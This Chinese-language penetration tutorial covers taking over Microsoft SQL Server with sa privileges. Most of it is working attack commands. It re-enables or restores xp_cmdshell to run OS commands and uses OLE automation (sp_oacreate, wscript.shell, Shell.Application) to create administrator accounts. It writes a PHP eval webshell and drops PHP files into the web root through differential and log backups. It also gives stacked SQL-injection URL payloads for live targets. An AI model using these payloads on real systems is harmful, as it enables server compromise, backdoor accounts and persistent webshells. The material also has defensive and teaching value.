0x01 前言

  1. # 我的SQL Server 版本
  2. 1> select @@version
  3. 2> go
  4. +--------------------------------------------------------------------------------------+
  5. | |
  6. +--------------------------------------------------------------------------------------+
  7. | Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) |
  8. | Sep 24 2019 13:48:23 |
  9. | Copyright (C) 2019 Microsoft Corporation |
  10. | Developer Edition (64-bit) on Windows 10 Pro 10.0 <X64> (Build 17763: ) (Hypervisor) |
  11. +--------------------------------------------------------------------------------------+
  12. (1 rows affected)
  1. # 当前登录的用户
  2. 1> select SUSER_SNAME();
  3. 2> go
  4. +----+
  5. | |
  6. +----+
  7. | sa |
  8. +----+
  9. (1 rows affected)
  1. # 判断是否为sa权限
  2. # 返回 1 表示是
  3. # 返回 0 表示不是
  4. 1> select IS_SRVROLEMEMBER('sysadmin');
  5. 2> go
  6. +---+
  7. | |
  8. +---+
  9. | 1 |
  10. +---+
  11. (1 rows affected)

存储过程(Stored Procedure)实在大型数据库中,一组为了完成特定功能的SQL语句集,存储在数据库中,经过第一次编译后,再次调用不需要再次编译,用户通过指定的存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。

存储过程中大大地减少了业务系统与数据库交互,降低了业务系统与数据库的耦合。

在MSSQL中,存在大量的存储过程,在带来便利的同时,也带来了安全上的威胁,比如说
XP_cmdshell 等存储过程可以被恶意攻击者来执行系统命令、提权。

0x02 删除系统存储过程失败的问题

如果你在高于 SQL Server 2000 的版本 并且 登录用户也是 sa
执行:exec master..sp_dropextendedproc xp_cmdshell
来尝试删除 xp_cmdshell 这个系统存储过程,你会发现他会返回

[Err] 42S02 - [SQL Server]无法对 过程 ‘xp_cmdshell’ 执行 删除,因为它不存在,或者您没有所需的权限。

请注意这不是因为你没权限。
这是因为
在 SQL Server 2000 中,sp_dropextendedproc 可用于删除任何扩展存储过程
在 SQL Server 2005 版本及后面的新版本 sp_dropextendedproc 不会也不能删除系统扩展存储过程,所以你会发现无法删除系统存储过程

0x03 判断是否存在xp_cmdshell存储过程

返回结果

  • 为1 表示存在
  • 为0 表示不存在
  1. # 表示存在 xp_cmdshell 这个存储过程
  2. 1> select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
  3. 2> go
  4. +---+
  5. | |
  6. +---+
  7. | 1 |
  8. +---+
  9. (1 rows affected)
  1. # 表示不存在 aaa_test 这个存储过程
  2. 1> select count(*) from master.dbo.sysobjects where xtype='x' and name='aaa_test'
  3. 2> go
  4. +---+
  5. | |
  6. +---+
  7. | 0 |
  8. +---+
  9. (1 rows affected)

0x04 判断 xp_cmdshell 是否开启

执行 exec sp_configure 查看 xp_cmdshell 状态

  1. 1> exec sp_configure
  2. 2> go
  3. +------------------------------------+-------------+------------+-------------+-----------+
  4. | name | minimum | maximum |config_value | run_value |
  5. +------------------------------------+-------------+------------+-------------+-----------+
  6. | access check cache bucket count | 0 | 65536 | 0 | 0 |
  7. | access check cache quota | 0 | 2147483647 | 0 | 0 |
  8. | Ad Hoc Distributed Queries | 0 | 1 | 0 | 0 |
  9. | ADR cleaner retry timeout (min) | 0 | 32767 | 0 | 0 |
  10. | ADR Preallocation Factor | 0 | 32767 | 0 | 0 |
  11. | affinity I/O mask | -2147483648 | 2147483647 | 0 | 0 |
  12. | affinity mask | -2147483648 | 2147483647 | 0 | 0 |
  13. | affinity64 I/O mask | -2147483648 | 2147483647 | 0 | 0 |
  14. | affinity64 mask | -2147483648 | 2147483647 | 0 | 0 |
  15. | Agent XPs | 0 | 1 | 0 | 0 |
  16. | allow filesystem enumeration | 0 | 1 | 1 | 1 |
  17. | allow polybase export | 0 | 1 | 0 | 0 |
  18. | allow updates | 0 | 1 | 0 | 0 |
  19. | automatic soft-NUMA disabled | 0 | 1 | 0 | 0 |
  20. | backup checksum default | 0 | 1 | 0 | 0 |
  21. | backup compression default | 0 | 1 | 0 | 0 |
  22. | blocked process threshold (s) | 0 | 86400 | 0 | 0 |
  23. | c2 audit mode | 0 | 1 | 0 | 0 |
  24. | clr enabled | 0 | 1 | 0 | 0 |
  25. | clr strict security | 0 | 1 | 1 | 1 |
  26. | column encryption enclave type | 0 | 2 | 0 | 0 |
  27. | common criteria compliance enabled | 0 | 1 | 0 | 0 |
  28. | contained database authentication | 0 | 1 | 0 | 0 |
  29. | cost threshold for parallelism | 0 | 32767 | 5 | 5 |
  30. | cross db ownership chaining | 0 | 1 | 0 | 0 |
  31. | cursor threshold | -1 | 2147483647 | -1 | -1 |
  32. | Database Mail XPs | 0 | 1 | 0 | 0 |
  33. | default full-text language | 0 | 2147483647 | 2052 | 2052 |
  34. | default language | 0 | 9999 | 30 | 30 |
  35. | default trace enabled | 0 | 1 | 1 | 1 |
  36. | disallow results from triggers | 0 | 1 | 0 | 0 |
  37. | EKM provider enabled | 0 | 1 | 0 | 0 |
  38. | external scripts enabled | 0 | 1 | 0 | 0 |
  39. | filestream access level | 0 | 2 | 0 | 0 |
  40. | fill factor (%) | 0 | 100 | 0 | 0 |
  41. | ft crawl bandwidth (max) | 0 | 32767 | 100 | 100 |
  42. | ft crawl bandwidth (min) | 0 | 32767 | 0 | 0 |
  43. | ft notify bandwidth (max) | 0 | 32767 | 100 | 100 |
  44. | ft notify bandwidth (min) | 0 | 32767 | 0 | 0 |
  45. | hadoop connectivity | 0 | 7 | 0 | 0 |
  46. | index create memory (KB) | 704 | 2147483647 | 0 | 0 |
  47. | in-doubt xact resolution | 0 | 2 | 0 | 0 |
  48. | lightweight pooling | 0 | 1 | 0 | 0 |
  49. | locks | 5000 | 2147483647 | 0 | 0 |
  50. | max degree of parallelism | 0 | 32767 | 2 | 2 |
  51. | max full-text crawl range | 0 | 256 | 4 | 4 |
  52. | max server memory (MB) | 128 | 2147483647 | 2147483647 | 2147483647|
  53. | max text repl size (B) | -1 | 2147483647 | 65536 | 65536 |
  54. | max worker threads | 128 | 65535 | 0 | 0 |
  55. | media retention | 0 | 365 | 0 | 0 |
  56. | min memory per query (KB) | 512 | 2147483647 | 1024 | 1024 |
  57. | min server memory (MB) | 0 | 2147483647 | 0 | 16 |
  58. | nested triggers | 0 | 1 | 1 | 1 |
  59. | network packet size (B) | 512 | 32767 | 4096 | 4096 |
  60. | Ole Automation Procedures | 0 | 1 | 0 | 0 |
  61. | open objects | 0 | 2147483647 | 0 | 0 |
  62. | optimize for ad hoc workloads | 0 | 1 | 0 | 0 |
  63. | PH timeout (s) | 1 | 3600 | 60 | 60 |
  64. | polybase enabled | 0 | 1 | 0 | 0 |
  65. | polybase network encryption | 0 | 1 | 1 | 1 |
  66. | precompute rank | 0 | 1 | 0 | 0 |
  67. | priority boost | 0 | 1 | 0 | 0 |
  68. | query governor cost limit | 0 | 2147483647 | 0 | 0 |
  69. | query wait (s) | -1 | 2147483647 | -1 | -1 |
  70. | recovery interval (min) | 0 | 32767 | 0 | 0 |
  71. | remote access | 0 | 1 | 1 | 1 |
  72. | remote admin connections | 0 | 1 | 0 | 0 |
  73. | remote data archive | 0 | 1 | 0 | 0 |
  74. | remote login timeout (s) | 0 | 2147483647 | 10 | 10 |
  75. | remote proc trans | 0 | 1 | 0 | 0 |
  76. | remote query timeout (s) | 0 | 2147483647 | 600 | 600 |
  77. | Replication XPs | 0 | 1 | 0 | 0 |
  78. | scan for startup procs | 0 | 1 | 0 | 0 |
  79. | server trigger recursion | 0 | 1 | 1 | 1 |
  80. | set working set size | 0 | 1 | 0 | 0 |
  81. | show advanced options | 0 | 1 | 1 | 1 |
  82. | SMO and DMO XPs | 0 | 1 | 1 | 1 |
  83. | tempdb metadata memory-optimized | 0 | 1 | 0 | 0 |
  84. | transform noise words | 0 | 1 | 0 | 0 |
  85. | two digit year cutoff | 1753 | 9999 | 2049 | 2049 |
  86. | user connections | 0 | 32767 | 0 | 0 |
  87. | user options | 0 | 32767 | 0 | 0 |
  88. | xp_cmdshell | 0 | 1 | 1 | 1 |
  89. +------------------------------------+-------------+------------+-------------+-----------+
  90. (83 rows affected)

查看
name 这一列 最后一行 有个 xp_cmdshell
接着在查看
config_value 这一列 如果写着 1 表示开启,如果写着 0 表示关闭

0x05 恢复xp_cmdshell存储过程

  1. 例如说你执行语句:exec master..xp_cmdshell 'whoami';
  2. 返回了
  3. 1> exec master..xp_cmdshell 'whoami';
  4. 2> go
  5. 42000 - [SQL Server]找不到存储过程 'master..xp_cmdshell'

那么可能是管理员把 xp_cmdshell 这个存储过程删除了

  1. 你可以执行下面的命令进行恢复
  2. exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
  3. exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
  4. 如果执行完毕以后出现了这个错误
  5. Query execution failed
  6. 原因:
  7. SQL 错误[S1000]:无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
  8. 这说明管理员把 xplog70.dll 一起删除了
  9. 这种情况下如果说你可以找到上传漏洞/拥有上传权限, 可以上传xplog70.dll 到某个目录
  10. 例如上传文件:C:\www\xplog70.dll
  11. 接着执行
  12. exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname='C:\www\xplog70.dll'declare @o int;
  13. exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';

0x06 xp_cmdshell 执行命令

  1. # 开启xp_cmdshell过程如下
  2. exec sp_configure 'show advanced options', 1; //开启高级选项
  3. RECONFIGURE; //配置生效
  4. exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
  5. RECONFIGURE; //配置生效
  1. # 关闭xp_cmdshell过程如下
  2. exec sp_configure 'show advanced options', 1; //开启高级选项
  3. RECONFIGURE; //配置生效
  4. exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshell
  5. RECONFIGURE; //配置生效
  1. 执行命令: exec master..xp_cmdshell 'whoami';
  2. 1> exec master..xp_cmdshell 'whoami';
  3. 2> go
  4. 42000 - [SQL Server]SQL Server 阻止了对组件“xp_cmdshell”的
  5. 过程“sys.xp_cmdshell”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
  6. 系统管理员可以通过使用 sp_configure 启用“xp_cmdshell”。
  7. 有关启用“xp_cmdshell”的详细信息,请搜索 SQL Server 联机丛书中的“xp_cmdshell”。
  8. 如果提示这个, 那么重新开启一下 xp_cmdshell 即可
  9. 开启方法
  10. exec sp_configure 'show advanced options', 1; //开启高级选项
  11. RECONFIGURE; //配置生效
  12. exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
  13. RECONFIGURE; //配置生效
  14. 然后重新执行
  15. 1> exec master..xp_cmdshell 'whoami';
  16. 2> go
  17. +------------------------+
  18. | output |
  19. +------------------------+
  20. | nt service\mssqlserver |
  21. | NULL |
  22. +------------------------+
  23. (2 rows affected)

0x07 sp_oacreate (添加管理员)

  1. # 开启sp_OACreate
  2. exec sp_configure 'show advanced options', 1;RECONFIGURE;
  3. exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
  1. # 关闭sp_OACreate
  2. exec sp_configure 'show advanced options',1;RECONFIGURE;
  3. exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;
  1. # 执行命令
  2. # SQL Server 2000可直接执行添加管理员用户 SQL Server 2000以后的版本不可使用
  3. DECLARE @js INT EXEC sp_oacreate 'ScriptControl' ,@js OUT EXEC sp_OASetProperty @js,
  4. 'Language',
  5. 'JavaScript' EXEC sp_OAMethod @js,
  6. 'Eval',
  7. NULL,
  8. 'var o=new ActiveXObject("Shell.Users");z=o.create("hacker");z.changePassword("hacker123","");z.setting("AccountType")=3;'
  9. 执行成功以后会 生成一个用户
  10. 账号:hacker
  11. 密码:hacker123

0x08 sp_makewebtask (写shell)

  1. # SQL Server 2000可新建文件, SQL Server 2000以后都不行
  2. exec sp_makewebtask 'C:\www\test.php',' select ''<?php @eval($?_POST[1]);?>'' ';

0x09 wscript.shell (添加管理员)

  1. # 开启组件
  2. exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
  1. # 关闭组件
  2. exec sp_configure 'Ole Automation Procedures', 0; RECONFIGURE;
  1. # 添加用户
  2. # 返回 1 表示执行成功
  3. # 返回 0 表示执行失败
  4. 1> DECLARE @shell INT EXEC sp_oacreate 'wscript.shell' ,@shell OUTPUT EXEC sp_oamethod @shell,
  5. 'run',
  6. NULL,
  7. 'c:\windows\system32\cmd.exe /c net user test-user-1 test-user-1-password /add'
  8. 2> go
  9. +---------+
  10. | Column1 |
  11. +---------+
  12. | 1 |
  13. +---------+
  14. (1 rows affected)
  1. # 添加到管理员组
  2. # 返回 1 表示执行成功
  3. # 返回 0 表示执行失败
  4. 1> DECLARE @shell INT EXEC sp_oacreate 'wscript.shell' ,@shell OUTPUT EXEC sp_oamethod @shell,
  5. 'run',
  6. NULL,
  7. 'c:\windows\system32\cmd.exe /c net localgroup administrators test-user-1 /add'
  8. 2> go
  9. +---------+
  10. | Column1 |
  11. +---------+
  12. | 1 |
  13. +---------+
  14. (1 rows affected)

0x10 Shell.Application (添加用户)

  1. # SQL Server 2000可执行产生效果
  2. # 命令
  3. DECLARE @o INT EXEC sp_oacreate 'Shell.Application',
  4. @o out EXEC sp_oamethod @o,
  5. 'ShellExecute',
  6. NULL,
  7. 'cmd.exe',
  8. 'cmd /c net user hacker001 zaq1234567 /add',
  9. 'c:\windows\system32',
  10. '',
  11. '1';

0x11 沙盒模式(百度抄的)

我没测试成功过,百度抄的

只有Windows xp 与 Windows 2003可用

  1. exec sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;
  1. # 开启沙盒模式
  2. EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE',
  3. 'SOFTWARE\Microsoft\Jet\4.0\Engines',
  4. 'SandBoxMode',
  5. 'REG_DWORD',
  6. 0;
  1. 执行系统命令 (添加用户)
  2. SELECT
  3. *
  4. FROM
  5. OPENROWSET (
  6. 'microsoft.jet.oledb.4.0',
  7. ';database=c:\windows\system32\ias\ias.mdb',
  8. 'select shell("cmd.exe /c net user test4 test4 /add")'
  9. )

0x12 差异备份拿shell

差异备份生成的shell 马子的文件会非常大,这会导致我们经常访问超时,因为体积太大了,所以不是没办法了,就不要使用该方法

0x12.1 本地测试全部命令

在控制台里面能执行命令的话,那就按照这个走一遍就没错了

  1. # 查询当前库名
  2. 1> SELECT DB_NAME();
  3. 2> go
  4. +-----+
  5. | |
  6. +-----+
  7. | test |
  8. +-----+
  9. (1 rows affected)
  1. # 创建新数据库
  2. # 这样不会破坏人家的数据库,并且人家处理起来也简单
  3. # 语法:create database [新建的数据库名称];
  4. # 执行的命令
  5. 1> create database test_db_5;
  6. 2> go
  7. (0 rows affected)
  1. # 先进行一次完整备份
  2. # 防止等一下误操作,无法恢复数据
  3. # 语法:backup database [数据库名称] to disk = '备份地址';
  4. # 执行的命令
  5. backup database test_db_5 to disk = 'C:\WWW\test_db_5.bak';
  6. 执行完毕以后
  7. C:\WWW\ 这个目录下面就会生成一个 test_db_5.bak 文件
  1. # 差异备份拿shell
  2. # 使用数据库
  3. use test_db_5;
  4. # 创建新表
  5. # 语法:create table [dbo].[test_table] ([cmd] [image]);
  6. # 执行的命令
  7. create table test_table(cmd image);
  8. # 向表中插入数据
  9. # 0x3c3f70687020706870696e666f28293b3f3e = 16进制的<?php phpinfo();?>
  10. insert into test_table(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
  11. # 进行差异备份
  12. backup database test_db_5 to disk='C:\WWW\test_db_5.php' WITH DIFFERENTIAL,FORMAT;
  13. 执行完毕以后
  14. C:\WWW\ 这个目录下面就会生成一个 test_db_5.php 文件
  15. 浏览器打开执行即可
  16. 例如:
  17. http://127.0.0.1/test_db_5.php

0x12.2 模拟线上执行

一般线上,,都是字符型注入,并且需要能够正常闭合,并且可以执行双语句,那么才可以执行各种shell的操作
如果不能正常闭合 或是 不能执行双语句那就不要看了。执行不了

记得先查当前连接的数据库
例如我的 DB_NAME() = test

0x12.2.1 备份表

web语句: http://www.test.com/sql.php?id=1’;backup database test to disk = ‘C:\WWW\test_1.bak’; — a

  1. select * from article where id='1';
  2. backup database test to disk = 'C:\WWW\test_1.bak'; -- a

0x12.2.2 创建新表

web语句: http://www.test.com/sql.php?id=1’;create table test_table(cmd image); — a

  1. # 实际执行的SQL
  2. select * from article where id='1';create table test_table(cmd image); -- a'

0x12.2.3 向表中插入数据

web语句: http://www.test.com/sql.php?id=1’;INSERT INTO test_table (cmd) VALUES (0x3c3f70687020706870696e666f28293b3f3e);— a’

  1. # 实际执行的SQL
  2. SELECT * FROM article WHERE id = '1';
  3. INSERT INTO test_table (cmd) VALUES (0x3c3f70687020706870696e666f28293b3f3e);-- a'

0x12.2.4 进行备份

web语句: http://www.test.com/sql.php?id=1’;backup database test to disk=’C:\WWW\test_1.php’ WITH DIFFERENTIAL,FORMAT; — a’

  1. select * from article where id='1';
  2. backup database test to disk='C:\WWW\test_1.php' WITH DIFFERENTIAL,FORMAT; -- a'

执行完毕以后
C:\WWW\ 这个目录下面就会生成一个 test_1.php 文件

0x12.2.5 访问

上面的步骤全部执行完毕以后

访问: http://域名.com/test_1.php

0x13 log备份拿shell

0x13.1 本地测试全部命令

在控制台里面能执行命令的话,那就按照这个走一遍就没错了

LOG备份出来的马子的体积小, 所以备份成功的可能性比较大

  1. # 查询当前库名
  2. 1> SELECT DB_NAME();
  3. 2> go
  4. +-----+
  5. | |
  6. +-----+
  7. | test |
  8. +-----+
  9. (1 rows affected)
  1. # 创建新数据库
  2. # 这样不会破坏人家的数据库,并且人家处理起来也简单
  3. # 语法:create database [新建的数据库名称];
  4. # 执行的命令
  5. 1> create database test_db_8;
  6. 2> go
  7. (0 rows affected)
  1. # 先进行一次完整备份
  2. # 防止等一下误操作,无法恢复数据
  3. # 语法:backup database [数据库名称] to disk = '备份地址';
  4. # 执行的命令
  5. backup database test_db_8 to disk = 'C:\WWW\test_db_8.bak';
  6. 执行完毕以后
  7. C:\WWW\ 这个目录下面就会生成一个 test_db_8.bak 文件
  1. # log备份拿shell
  2. # 语法
  3. # alter database [数据库名称] set RECOVERY FULL
  4. alter database test_db_8 set RECOVERY FULL
  5. # 使用数据库
  6. use test_db_8;
  7. # 创建新表
  8. # 语法:create table [dbo].[test_table] ([cmd] [image]);
  9. # 执行的命令
  10. create table test_table(cmd image);
  11. # 向表中插入数据
  12. insert into test_table(cmd) values('<?php phpinfo();?>');
  13. # 进行备份
  14. backup log test_db_8 to disk = 'C:\WWW\test_db_8.php'
  15. 执行完毕以后
  16. C:\WWW\ 这个目录下面就会生成一个 test_db_8.php 文件
  17. 浏览器打开执行即可
  18. 例如:
  19. http://127.0.0.1/test_db_8.php

0x13.2 模拟线上执行

一般线上,,都是字符型注入,并且需要能够正常闭合,并且可以执行双语句,那么才可以执行各种shell的操作
如果不能正常闭合 或是 不能执行双语句那就不要看了。执行不了

记得先查当前连接的数据库
例如我的 DB_NAME() = test

0x13.2.1 备份表

web语句: http://www.test.com/sql.php?id=1’;backup database test to disk = ‘C:\WWW\test_1.bak’; — a

  1. select * from article where id='1';
  2. backup database test to disk = 'C:\WWW\test_1.bak'; -- a

0x13.2.2 修改数据库恢复模式

web语句: http://www.test.com/sql.php?id=1’;

  1. # 实际执行的SQL
  2. select * from article where id='1';alter database test set RECOVERY FULL; -- a'

0x13.2.3 创建新表

web语句: http://www.test.com/sql.php?id=1’;create table test_table(cmd image); — a

  1. # 实际执行的SQL
  2. select * from article where id='1';create table test_table(cmd image); -- a'

0x13.2.4 向表中插入数据

web语句: http://www.test.com/sql.php?id=1’;insert into test_table(cmd) values(‘<?php phpinfo();?>’); — a’

  1. # 实际执行的SQL
  2. select * from article where id='1';
  3. insert into test_table(cmd) values('<?php phpinfo();?>'); -- a'

0x13.2.5 进行备份

web语句: http://www.test.com/sql.php?id=1’;backup log test to disk = ‘C:\WWW\test_2.php’; — a’

  1. select * from article where id='1';
  2. backup log test to disk = 'C:\WWW\test_2.php'; -- a'

执行完毕以后
C:\WWW\ 这个目录下面就会生成一个 test_2.php 文件

0x13.2.6 访问

上面的步骤全部执行完毕以后

访问: http://域名.com/test_2.php